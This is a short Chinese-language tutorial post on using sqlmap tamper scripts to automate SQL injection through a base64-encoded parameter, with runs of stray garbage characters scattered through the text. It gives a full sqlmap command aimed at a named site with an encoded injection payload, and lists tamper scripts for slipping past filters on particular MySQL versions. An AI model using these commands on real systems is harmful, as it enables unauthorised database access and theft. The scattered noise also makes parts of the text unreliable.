SQlMap Tamper注入Base64编码注入点

admin

WVS扫某站就出来一个SQL Injection，参数还是base64编码的，手工注入麻烦一步，用sqlmap怎么自动注射呢？ ; v& n8 X- n! x( a) w6 u sqlmap的tamper里有个base64encode.py 3 }& t0 M+ c# v( J- @1 Q: q使用如下 * o3 I2 ~4 v, `" g' g sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs # }1 v  s) S- Z$ J: {7 h) e. r 7 n) V5 s3 b1 F3 T0 Bsqlmap拥有很多功能强力的插件，插件的使用方法： -- tamper “插件名称” 0 n( F' }: B) Y其中常用到的bypass脚本绕过SQLMAP主要两个脚本： space2hash.py ，对于MYSQL数据库 4.0, 5.0注入 space2morehash.py ，对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入 ; |, `" v( ?2 Z- ^5 y! Q首先确定目标数据库版本，然后选择相应的脚本。 -v 3 --batch --tamper "space2hash.py" 还有其他一些插件： encodes编码 ——charencode.py base64编码 —— base64encode.py 替换空格和关键字 —— halfversionedmorekeywords.py

: E# ~; ^' S7 m7 k1 I! s
: ?& w5 ]: @  M. I

6 I3 ~3 C! h& C5 Q& Q* J  d